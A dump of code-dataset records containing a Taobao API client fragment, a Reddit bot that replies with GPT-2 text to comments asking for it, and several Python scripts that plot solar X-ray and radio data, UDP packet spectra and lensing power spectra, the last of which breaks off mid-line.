self.client.app_session, app_func = func, func_param = func_param)\n\t\t\trequest_url = sign.generate_url()\n\t\t\trequest_body = urlencode(func_param)\n\t\t\trequest_header = {\n\t\t\t\t'Content-type' : 'application/x-www-form-urlencoded',\n\t\t\t\t'Cache-Control' : 'no-cache',\n\t\t\t\t'Connection' : 'Keep-Alive'\n\t\t\t}\n\t\t\n\t\t\treturn self.client.get_response(self.method, request_url, request_body, request_header)\t\n\t\treturn wrap\n\nclass TaobaoSdkClient(object):\n\t'''taobao sdk '''\n\n\tdef __init__(self, app_key, app_serect, app_session = None, domain = None, port = None):\n\t\tself.app_key = app_key\n\t\tself.app_serect = app_serect\n\t\tself.app_session = app_session\n\t\tself.domain = domain or _DEFAULT_TAOBAO_TOP_URL\n\t\tself.port = port or _DEFAULT_TAOBAO_TOP_PORT\n\n\t\tself.get = HttpRequest(self, _HTTP_GET_REQUEST)\n\t\tself.post = HttpRequest(self, _HTTP_POST_REQUEST)\n\n\tdef get_response(self, http_method, request_url, request_body, request_header):\n\t\thttp_connection = HTTPConnection(self.domain, self.port, _DEFAULT_TAOBAO_TOP_TIMEOUT)\n\t\thttp_connection.connect()\n\t\thttp_connection.request(http_method, request_url, body = request_body, headers = request_header)\n\t\thttp_response = http_connection.getresponse()\n\n\t\tif http_response.status is not 200:\n\t\t\traise RequestException('invalid http status ' + str(http_connection.status) + ', detail body :' + http_response.read())\n\t\thttp_request_data = http_response.read()\n\n\t\tjson_data_obj = json.loads(http_request_data)\n\t\tif 'error_response' in json_data_obj:\n\t\t\t#todo 详细的错误\n\t\t\treturn json_data_obj\n\n\t\treturn json_data_obj\n\n\n\n", "sub_path": "taobao.py", "file_name": "taobao.py", "file_ext": "py", "file_size_in_byte": 3755, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "time.time", "line_number": 57, "usage_type": "call"}, {"api_name": "hashlib.md5", "line_number": 70, "usage_type": "call"}, {"api_name": "urllib.urlencode", "line_number": 74, "usage_type": "call"}, {"api_name": "urllib.urlencode", "line_number": 88, "usage_type": "call"}, {"api_name": "httplib.HTTPConnection", "line_number": 112, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 121, "usage_type": "call"}]} +{"seq_id": "390888596", "text": "#!/usr/bin/python\nimport sys\nimport praw\nimport re\nimport random\nimport os\nimport pbd\nimport string\nimport time\nimport functools\nfrom joblib import Parallel, delayed, parallel_backend\nfrom threading import Lock\nimport tqdm\nimport fire\nimport json\nimport tensorflow as tf\nimport numpy as np\nimport pexpect\n\nimport model, sample, encoder\n\ndef clean_input(s):\n return ''.join(filter(lambda x: x in set(string.printable), s))\n\nclass StreamList():\n def __init__(self):\n self.stream_file = open(\"/mnt/stream_list.txt\", 'r+')\n self.list = self._load()\n\n def __del__(self):\n self.stream_file.close()\n\n def _load(self):\n out = []\n for line in self.stream_file:\n out.append(line.strip())\n print(\"loaded subms\", out)\n return out\n\n def append(self, data):\n self.stream_file.write(str(data)+\"\\n\")\n self.stream_file.flush()\n self.list.append(data)\n\nclass GPT2Bot():\n def __init__(self, log):\n self.log = log\n self.lock = Lock()\n self.stream_guy = False\n self.t_man = False\n self.reddit = praw.Reddit('gptbot')\n self.rexp = re.compile(r\"^(.*)gpt-2(.*)finish this(.*)$\", re.IGNORECASE|re.DOTALL)\n self.name = self.reddit.user.me().name\n self.stream_list = StreamList()\n self.key_word = \"gpt-2\"\n self.output = None\n self.callback = None\n self.sample = None\n \n def run_loop(self):\n while True:\n try:\n self.run_mt(32)\n except KeyboardInterrupt:\n self.log(\"\\nUser pressed ctrl-c...\")\n break\n\n def get_response(self, input_str):\n sample = str(\"\\n======================================== SAMPLE 1 ======================================== I'm having some trouble understanding you. Make sure you don't have any special characters in your prompt.\").encode('utf-8')\n\n attempts = 0\n while attempts < 5:\n try:\n child = pexpect.spawn('python src/interactive_conditional_samples.py --top_k 40')\n child.expect('Model prompt >>> ')\n child.sendline(clean_input(input_str))\n child.expect('================================================================================')\n sample = child.before[len(input_str):]\n break\n except pexpect.exceptions.EOF:\n child.kill(0)\n attempts += 1\n print(\"Attempt \", attempts, \"failed. Trying again.\")\n return sample.decode()\n\n def clean_response(self, resp, inp, user=None):\n resp = str(resp[92:]).encode('utf-8')\n resp = resp.split('<|endoftext|>'.encode('utf-8'))[0]\n sp = resp.splitlines()\n self.log(\"Split len\", len(sp))\n out = \"\"\n\n ctr = 0\n lp = len(sp)\n stop = False\n pref = \"**OUTPUT\"\n if user is not None:\n pref += \" (courtesy of u/\" + user.name + \"):**\"\n else:\n pref += \"**\"\n iop = \"\\n\"\n for iline in inp.splitlines():\n iop += \"> **\" + iline.strip() + \"** \\n\"\n while ctr < len(sp):\n if len(sp[0]) > 0 and ord('=') in sp[0][:min(2, len(sp[0]))] and not stop:\n stop = True\n del sp[0]\n if len(sp) < 1 or ctr == (lp-1):\n break\n lp = len(sp)\n out += \"> \" + sp[ctr].decode() + \"\\n\"\n ctr += 1\n if len(out) > len(inp):\n break\n return str(pref + iop + \"\\n\" + out + \"\\nBeep boop, I'm a bot.\")\n\n def message_guy(self):\n self.log(\"MESSAGE GUY STARTING\\n\")\n for message in self.reddit.inbox.unread(limit=None):\n if isinstance(message, praw.models.Message):\n self.log(\"Found a DM!\\n\", silent=True)\n cb = \"\"\n for line in message.body.splitlines():\n if line.strip():\n insensitive_hippo = re.compile(re.escape('**INPUT(.*):**'), re.IGNORECASE)\n insensitive_d = re.compile(re.escape(\"Beep boop, I'm a bot.\"), re.IGNORECASE)\n cb += str(insensitive_hippo.sub('', str(insensitive_d.sub('', line))))\n cb = clean_input(cb)\n\n if len(cb.strip()) < 2:\n self.log(\"Parent comment was empty\", silent=True)\n continue\n\n self.lock.acquire()\n response = self.clean_response(self.get_response(cb), cb)\n self.log(\"Bot replying to direct message: \"+cb)\n self.log(\"Response : \"+response+\"\\n------------------------------------------------\")\n self.lock.release()\n try:\n if not response:\n self.log(\"Response was empty\")\n continue\n message.reply(response)\n message.mark_read()\n except:\n self.log(\"An error occured while replying\")\n \n\n def run(self, n_threads, subm):\n def do_work(self, comment):\n if not isinstance(comment, praw.models.Comment):\n return\n if comment.author is None or comment.author.name == self.name:\n return\n if self.rexp.match(clean_input(comment.body)) is None:\n return\n for h in comment.replies:\n if h.author.name == self.name:\n return\n try:\n cp = comment.parent()\n\n if isinstance(cp, praw.models.Submission):\n self.log(\"Parent was a submission...\\n\", silent=True)\n return\n else:\n for h in cp.replies:\n if h.author is None:\n continue\n if h.author.name == self.name:\n self.log(\"Already replied to this comment...\\n\", silent=True)\n return\n except:\n self.log(\"Unknown error occured\")\n return\n self.log(\"Found one!\")\n cb = \"\"\n for line in cp.body.splitlines():\n if line.strip():\n insensitive_hippo = re.compile(re.escape('**INPUT(.*):**'), re.IGNORECASE)\n insensitive_d = re.compile(re.escape(\"Beep boop, I'm a bot.\"), re.IGNORECASE)\n cb += str(insensitive_hippo.sub('', str(insensitive_d.sub('', line))))\n cb = clean_input(cb)\n cpl = \"https://www.reddit.com\" + cp.permalink\n\n if len(cb.strip()) < 2:\n self.log(\"Parent comment was empty\")\n return\n elif cb.strip() == \"[removed]\":\n self.log(\"Parent comment was removed\")\n return\n\n self.lock.acquire()\n response = self.clean_response(self.get_response(cb), cb, comment.author)\n self.log(\"Bot replying to : \"+cb+\"\\nURL : \"+cpl)\n self.log(\"Response : \"+response+\"\\n------------------------------------------------\")\n self.lock.release()\n try:\n if not response:\n self.log(\"Response was empty\")\n return\n cp.reply(response)\n except:\n self.log(\"An error occured while replying\")\n return\n\n self.log(\"Starting Submission Run... \"+str(time.time()))\n submission = praw.models.Submission(self.reddit, id=subm)\n submission.comments.replace_more(limit=None)\n with parallel_backend('threading', n_jobs=n_threads):\n Parallel()(delayed(do_work)(self, comment) for comment in tqdm.tqdm(submission.comments.list()) if comment is not None)\n self.log(\"SUBMISSION RUN DONE!!!\\n\\n============================================================\\n\", flush=True)\n\n def should_add_to_list(self, subm):\n if self.key_word in subm.title.lower():\n self.lock.acquire()\n self.log(\"\\nFound a new submission about \"+self.key_word+\"\\nURL: \"+subm.permalink)\n self.stream_list.append(subm.id)\n self.lock.release()\n\n def run_mt(self, n_threads):\n def do_work(self, comment):\n if not self.t_man:\n self.t_man = True\n self.lock.acquire()\n self.log(\"\\n================ RUNNING SUBMISSION SWEEP ================\\n\\n\")\n self.lock.release()\n with parallel_backend('threading', n_jobs=4):\n Parallel()(delayed(self.run)(16, subm) for subm in tqdm.tqdm(self.stream_list.list))\n self.message_guy()\n time.sleep(900)\n self.t_man = False\n elif not self.stream_guy:\n self.stream_guy = True\n self.lock.acquire()\n self.log(\"\\n================ RUNNING SUBMISSION STREAM ================\\n\\n\")\n self.lock.release()\n all = self.reddit.subreddit('all')\n with parallel_backend('threading', n_jobs=4):\n Parallel()(delayed(self.should_add_to_list)(submission) for submission in tqdm.tqdm(all.stream.submissions(skip_existing=True)))\n\n if not isinstance(comment, praw.models.Comment):\n return\n if comment.author is None or comment.author.name == self.name:\n return\n if self.rexp.match(clean_input(comment.body)) is None:\n return\n for h in comment.replies:\n if h.author.name == self.name:\n return\n self.log(\"Found one!\")\n\n try:\n cp = comment.parent()\n\n if isinstance(cp, praw.models.Submission):\n self.log(\"Parent was a submission...\\n\")\n return\n else:\n for h in cp.replies:\n if h.author is None:\n continue\n if h.author.name == self.name:\n self.log(\"Already replied to this comment...\\n\")\n return\n except:\n self.log(\"An unknown error occured.\\n\")\n return\n\n cb = \"\"\n for line in cp.body.splitlines():\n if line.strip():\n insensitive_hippo = re.compile(re.escape('**OUTPUT(.*):**'), re.IGNORECASE)\n insensitive_s = re.compile(re.escape('> '))\n insensitive_d = re.compile(re.escape(\"Beep boop, I'm a bot.\"), re.IGNORECASE)\n cb += str(insensitive_hippo.sub('', str(insensitive_d.sub('', str(insensitive_s.sub('', line.strip())))))) + \"\\n\"\n cb = clean_input(cb)\n cpl = \"https://www.reddit.com\" + cp.permalink\n\n if len(cb.strip()) < 1:\n self.log(\"Parent comment was empty\")\n return\n elif cb.strip() == \"[removed]\":\n self.log(\"Parent comment was removed\")\n return\n\n self.lock.acquire()\n if comment.subreddit.name == \"politics\":\n response = self.clean_response(self.get_response(cb), cb)\n else:\n response = self.clean_response(self.get_response(cb), cb, comment.author)\n self.log(\"Bot replying to : \"+cb+\"\\nURL : \"+cpl)\n self.log(\"Response : \"+response+\"\\n------------------------------------------------\")\n self.lock.release()\n try:\n if not response:\n self.log(\"Response was empty\")\n return\n cp.reply(response)\n except:\n self.log(\"An error occured while replying\")\n return\n\n self.log(\"Starting Run... \"+str(time.time()))\n # Get the top 5 values from our subreddit\n all = self.reddit.subreddit('all')\n with parallel_backend('threading', n_jobs=n_threads):\n Parallel()(delayed(do_work)(self, comment) for comment in tqdm.tqdm(all.stream.comments(skip_existing=True)))\n\n self.log(\"DONE!!!\\n\\n============================================================\\n\")\n\nwith open(\"./reddit_bot_logs.txt\", 'a+') as log:\n w = sys.stdout.write\n def wlog(data, flush=False, silent=False):\n data += \"\\n\"\n if not silent:\n w(data)\n log.write(data)\n if flush:\n log.flush()\n bot = GPT2Bot(wlog)\n bot.run_loop()\n", "sub_path": "reddit_bot.py", "file_name": "reddit_bot.py", "file_ext": "py", "file_size_in_byte": 12679, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "string.printable", "line_number": 23, "usage_type": "attribute"}, {"api_name": "threading.Lock", "line_number": 48, "usage_type": "call"}, {"api_name": "praw.Reddit", "line_number": 51, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 52, "usage_type": "call"}, {"api_name": "re.IGNORECASE", "line_number": 52, "usage_type": "attribute"}, {"api_name": "re.DOTALL", "line_number": 52, "usage_type": "attribute"}, {"api_name": "pexpect.spawn", "line_number": 74, "usage_type": "call"}, {"api_name": "pexpect.exceptions", "line_number": 80, "usage_type": "attribute"}, {"api_name": "sample.decode", "line_number": 84, "usage_type": "call"}, {"api_name": "praw.models", "line_number": 120, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 125, "usage_type": "call"}, {"api_name": "re.escape", "line_number": 125, "usage_type": "call"}, {"api_name": "re.IGNORECASE", "line_number": 125, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 126, "usage_type": "call"}, {"api_name": "re.escape", "line_number": 126, "usage_type": "call"}, {"api_name": "re.IGNORECASE", "line_number": 126, "usage_type": "attribute"}, {"api_name": "praw.models", "line_number": 151, "usage_type": "attribute"}, {"api_name": "praw.models", "line_number": 163, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 180, "usage_type": "call"}, {"api_name": "re.escape", "line_number": 180, "usage_type": "call"}, {"api_name": "re.IGNORECASE", "line_number": 180, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 181, "usage_type": "call"}, {"api_name": "re.escape", "line_number": 181, "usage_type": "call"}, {"api_name": "re.IGNORECASE", "line_number": 181, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 207, "usage_type": "call"}, {"api_name": "praw.models.Submission", "line_number": 208, "usage_type": "call"}, {"api_name": "praw.models", "line_number": 208, "usage_type": "attribute"}, {"api_name": "joblib.parallel_backend", "line_number": 210, "usage_type": "call"}, {"api_name": "joblib.Parallel", "line_number": 211, "usage_type": "call"}, {"api_name": "joblib.delayed", "line_number": 211, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 211, "usage_type": "call"}, {"api_name": "joblib.parallel_backend", "line_number": 228, "usage_type": "call"}, {"api_name": "joblib.Parallel", "line_number": 229, "usage_type": "call"}, {"api_name": "joblib.delayed", "line_number": 229, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 229, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 231, "usage_type": "call"}, {"api_name": "joblib.parallel_backend", "line_number": 239, "usage_type": "call"}, {"api_name": "joblib.Parallel", "line_number": 240, "usage_type": "call"}, {"api_name": "joblib.delayed", "line_number": 240, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 240, "usage_type": "call"}, {"api_name": "praw.models", "line_number": 242, "usage_type": "attribute"}, {"api_name": "praw.models", "line_number": 256, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 273, "usage_type": "call"}, {"api_name": "re.escape", "line_number": 273, "usage_type": "call"}, {"api_name": "re.IGNORECASE", "line_number": 273, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 274, "usage_type": "call"}, {"api_name": "re.escape", "line_number": 274, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 275, "usage_type": "call"}, {"api_name": "re.escape", "line_number": 275, "usage_type": "call"}, {"api_name": "re.IGNORECASE", "line_number": 275, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 304, "usage_type": "call"}, {"api_name": "joblib.parallel_backend", "line_number": 307, "usage_type": "call"}, {"api_name": "joblib.Parallel", "line_number": 308, "usage_type": "call"}, {"api_name": "joblib.delayed", "line_number": 308, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 308, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 313, "usage_type": "attribute"}]} +{"seq_id": "594038772", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Apr 12 02:08:41 2021\n\n@author: svlesovoi\n\"\"\"\n\nimport json\nimport numpy as NP\nimport pylab as PL\nfrom astropy.io import fits\nfrom scipy import signal\n\ndef hhmm_format(t, pos):\n hh = (int)(t / 3600.);\n t -= hh*3600.;\n mm = (int)(t / 60.);\n return '%02d:%02d' % (hh,mm);\n\nwin = signal.windows.gaussian(2199,2155)\nrainbowColors = PL.get_cmap('rainbow')\n\n#goesFile = open('xrays-6-hour.json')\ngoesFile = open('xrays-1-day.json')\ngoesData = json.load(goesFile)\ngoesFile.close()\n\nN = len(goesData)\nxrays_time = NP.zeros(N//2)\nxrays_4_8 = NP.zeros(N//2)\nxrays_005_04 = NP.zeros(N//2)\n\nfor i in range(N):\n if i%2:\n xrays_4_8[i//2] = goesData[i]['flux']\n hhmm = goesData[i]['time_tag'].split('T')[1].split(':')[0:2]\n xrays_time[i//2] = 3600*int(hhmm[0]) + 60*int(hhmm[1])\n if xrays_time[i//2] > 10*3600:\n xrays_time[i//2] -= 24*3600\n else:\n xrays_005_04[i//2] = goesData[i]['flux']\n\ncF = fits.open('srh_cp_20210412.fits')\nsrhFreqList = cF[1].data['frequencies']\nsrhTime = cF[2].data['time'] # necc\nsrhCorrI = cF[2].data['I']\nsrhCorrV = cF[2].data['V']\nsrhFluxI = cF[2].data['flux_I'] # necc\nsrhMeanFluxI = srhFluxI.mean(axis=0)\nsrhMeanFluxISmoothed = signal.convolve(srhMeanFluxI,win,mode='same')/win.sum()\n\nt0 = 200\n\nfig = PL.figure()\nsub = fig.add_subplot(1,1,1);\nsub.set_ylabel('flux');\nsub.set_xlabel('UT');\nsub.xaxis.set_major_locator(PL.MultipleLocator(1800));\nsub.xaxis.set_major_formatter(PL.FuncFormatter(hhmm_format));\nsub.xaxis.set_minor_locator(PL.MultipleLocator(600));\nsub.set_xlim(3600,6.0*3600)\nsub.set_ylim(0,5e-7)\n\nsub.plot(xrays_time[t0:],xrays_4_8[t0:],label='GOES X-Ray 0.1-0.8 nm',color='red',markersize=0.2)\nsub.plot(xrays_time[t0:],xrays_005_04[t0:],label='GOES X-Ray 0.05-0.4 nm',color='blue',markersize=0.2)\nfor freq in range(srhFreqList.shape[0]):\n sub.plot(srhTime[freq],srhCorrI[freq]*1e-4,'.',markersize=0.2,color=rainbowColors(100+(srhFreqList.shape[0] - freq)*20),label='SRH %d MHz'%(srhFreqList[freq]*1e-3))\n# sub.plot(srhTime[freq],srhCorrV[freq]*1e-4)\n#sub.plot(srhTime[0],(srhMeanFluxI - srhMeanFluxISmoothed)*5e-9 + 1e-8)\nsub.plot([3600,10*3600],[1e-7,1e-7], label='X-ray flare class A')\nsub.grid()\nsub.legend(markerscale=50)\nsub.set_title('SRH and GOES incredible coincidence , %s'%(cF[0].header['DATE-OBS']))\n", "sub_path": "srhGoesXray.py", "file_name": "srhGoesXray.py", "file_ext": "py", "file_size_in_byte": 2366, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "scipy.signal.windows.gaussian", "line_number": 21, "usage_type": "call"}, {"api_name": "scipy.signal.windows", "line_number": 21, "usage_type": "attribute"}, {"api_name": "scipy.signal", "line_number": 21, "usage_type": "name"}, {"api_name": "pylab.get_cmap", "line_number": 22, "usage_type": "call"}, {"api_name": "json.load", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 32, "usage_type": "call"}, {"api_name": "astropy.io.fits.open", "line_number": 44, "usage_type": "call"}, {"api_name": "astropy.io.fits", "line_number": 44, "usage_type": "name"}, {"api_name": "scipy.signal.convolve", "line_number": 51, "usage_type": "call"}, {"api_name": "scipy.signal", "line_number": 51, "usage_type": "name"}, {"api_name": "pylab.figure", "line_number": 55, "usage_type": "call"}, {"api_name": "pylab.MultipleLocator", "line_number": 59, "usage_type": "call"}, {"api_name": "pylab.FuncFormatter", "line_number": 60, "usage_type": "call"}, {"api_name": "pylab.MultipleLocator", "line_number": 61, "usage_type": "call"}]} +{"seq_id": "39072350", "text": "#!/opt/vegas/bin/python2.6\n\nimport socket\nfrom matplotlib import pyplot as plt\nimport struct\nimport numpy as np\n\nudp_ip='10.0.0.145'\nudp_port=60000\nsize=8208 #packet size\nf_lo = 93.75\nbw=2*f_lo\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\nsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\nsock.bind((udp_ip, udp_port))\ndata, addr = sock.recvfrom(size)\nsock.close()\n\na = np.array(struct.unpack('>8208b', data), dtype=np.int8)\na = a[16:] # skip 16-byte header\n#{0, 2, 1, 3} # 2 tones\n#{0, 2, 3, 1}\n#{1, 3, 0, 2}\n#{1, 3, 2, 0}\n#{2, 0, 1, 3}\n#{2, 0, 3, 1}\n#{3, 1, 0, 2}\n#{3, 1, 2, 0}\nrealX = a[0::4]\nimagX = a[1::4]\nrealY = a[2::4]\nimagY = a[3::4]\n\nplt.subplot(421)\nplt.plot(realX, '-o')\nplt.subplot(423)\nplt.plot(imagX, '-o')\nplt.subplot(425)\nplt.plot(realY, '-o')\nplt.subplot(427)\nplt.plot(imagY, '-o')\n\nf = np.linspace(f_lo - bw/2., f_lo + bw/2., 2048)\n\nX = np.zeros(2048, dtype=np.complex64)\nX.real = realX.astype(np.float)\nX.imag = imagX.astype(np.float)\n\nY = np.zeros(2048, dtype=np.complex64)\nY.real = realY.astype(np.float)\nY.imag = imagY.astype(np.float)\n\nplt.subplot(422)\nplt.plot(f, 10 * np.log10(np.abs(np.fft.fftshift(np.fft.fft(X, 2048)))))\n\nplt.subplot(424)\nplt.plot(f, 10 * np.log10(np.abs(np.fft.fftshift(np.fft.fft(Y, 2048)))))\n\nplt.subplot(426)\nplt.plot(f, 10 * np.log10(np.fft.fftshift(np.fft.fft(X, 2048) * np.fft.fft(Y, 2048).conjugate()).real))\n\nplt.subplot(428)\nplt.plot(f, 10 * np.log10(np.fft.fftshift(np.fft.fft(X, 2048) * np.fft.fft(Y, 2048).conjugate()).imag))\n\nplt.show()\n\n", "sub_path": "scripts/l1_lbw1/plot_raw_l1.py", "file_name": "plot_raw_l1.py", "file_ext": "py", "file_size_in_byte": 1523, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "socket.socket", "line_number": 14, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 14, "usage_type": "attribute"}, {"api_name": "socket.SOCK_DGRAM", "line_number": 14, "usage_type": "attribute"}, {"api_name": "socket.SOL_SOCKET", "line_number": 15, "usage_type": "attribute"}, {"api_name": "socket.SO_REUSEADDR", "line_number": 15, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 20, "usage_type": "call"}, {"api_name": "struct.unpack", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.int8", "line_number": 20, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 35, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 35, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 36, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 37, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 38, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 41, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 42, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 42, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.complex64", "line_number": 46, "usage_type": "attribute"}, {"api_name": "numpy.float", "line_number": 47, "usage_type": "attribute"}, {"api_name": "numpy.float", "line_number": 48, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.complex64", "line_number": 50, "usage_type": "attribute"}, {"api_name": "numpy.float", "line_number": 51, "usage_type": "attribute"}, {"api_name": "numpy.float", "line_number": 52, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 54, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 55, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 55, "usage_type": "name"}, {"api_name": "numpy.log10", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.fft.fftshift", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.fft", "line_number": 55, "usage_type": "attribute"}, {"api_name": "numpy.fft.fft", "line_number": 55, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 57, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 58, "usage_type": "name"}, {"api_name": "numpy.log10", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.fft.fftshift", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.fft", "line_number": 58, "usage_type": "attribute"}, {"api_name": "numpy.fft.fft", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "numpy.log10", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.fft.fftshift", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.fft", "line_number": 61, "usage_type": "attribute"}, {"api_name": "numpy.fft.fft", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 63, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 64, "usage_type": "name"}, {"api_name": "numpy.log10", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.fft.fftshift", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.fft", "line_number": 64, "usage_type": "attribute"}, {"api_name": "numpy.fft.fft", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 66, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 66, "usage_type": "name"}]} +{"seq_id": "111569849", "text": "## SY 27/6/19\n## Plots true_corr power spectra for different datasets.\n\nfrom astropy.io import fits\nimport healpy as hp\nimport scipy as sp\nimport numpy as np\nimport pylab as P\nimport kappa_lya\nfrom kappa_lya import *\nimport sys\nfrom collections import OrderedDict\nimport matplotlib.gridspec as gridspec\nfrom matplotlib.offsetbox import AnchoredText\n\n\ndef get_model(c_ell):\n y = (c_ell / cl_input)\n x = np.arange(y.size)\n z = np.polyfit(x, y, 5)\n model = np.polyval(z, x)\n return model, x\n\n\nesttype = 'midpoint'\n\n##- Open kappa true-correlation and input c_ells\ncl_noisy = np.loadtxt('maps/midpoint/true_corr/Cls/Cl_autos_noisy_rt70.txt')\nclx_noisy = np.loadtxt('maps/midpoint/true_corr/Cls/Cl_crosses_noisy_rt70.txt')\n\ncl_cut = np.loadtxt('maps/midpoint/true_corr/Cls/Cl_autos_cut_rt70.txt')\nclx_cut = np.loadtxt('maps/midpoint/true_corr/Cls/Cl_crosses_cut_rt70.txt')\n\ncl_noiseless = np.loadtxt('maps/midpoint/true_corr/Cls/Cl_autos_noiseless_rt70.txt')\nclx_noiseless = np.loadtxt('maps/midpoint/true_corr/Cls/Cl_crosses_noiseless_rt70.txt')\n\ncl_input = np.loadtxt('maps/input/Cl_xi_input.txt')\ninput_mean = np.loadtxt('maps/input/Cl_input_mean.txt')\n\nx = []\nmodel = []\nkappa_true = [cl_noisy, clx_noisy, cl_cut, clx_cut, cl_noiseless, clx_noiseless]\nfor i in kappa_true:\n mod, ell_true = get_model(i)\n model.append(mod)\n x.append(ell_true)\n \n\n##- Setup figures\nP.rcParams.update({'font.size':18})\nP.ion()\nncolors=9\ncolors = P.cm.Set1(np.linspace(0,1,ncolors))\n#colors=['#396AB1','#DA7C30','#3E9651','#CC2529','#535154','#6B4C9A','#922428','#948B3D']\n\n##- Plot figure\nP.figure(figsize=(8.2,6))\n#P.plot(input_mean[0], color=colors[1], linewidth=2.0, linestyle=\"-\",label='Masked Input')\n\nP.plot(cl_noisy, color=colors[2], lw=2, linestyle=\"-\",label='Noisy Auto')\nP.plot(clx_noisy, color=colors[2], lw=2, linestyle=\"--\",label='Noisy Cross')\nP.plot(cl_cut, color=colors[3], lw=2, linestyle=\"-\",label='Noiseless Auto')\nP.plot(clx_cut, color=colors[3], lw=2, linestyle=\"--\",label='Noiseless cross')\nP.plot(cl_noiseless, color=colors[4], lw=2, linestyle=\"-\",label='High Density Auto')\nP.plot(clx_noiseless, color=colors[4], lw=2, linestyle=\"--\",label='High Density Cross')\n\nP.title('True_corr')\nP.axhline(0., color='k', ls=':')\nP.ylabel(r'$\\ell \\ C_{\\ell}^{\\rm{true, est}}$', fontsize=18)\nP.xlabel(r'$\\ell$', fontsize=18)\nP.xlim([0, 800])\n#P.ylim([0.0, 1.1e-6])\nP.ticklabel_format(style='sci', axis='y', scilimits=(0,0), 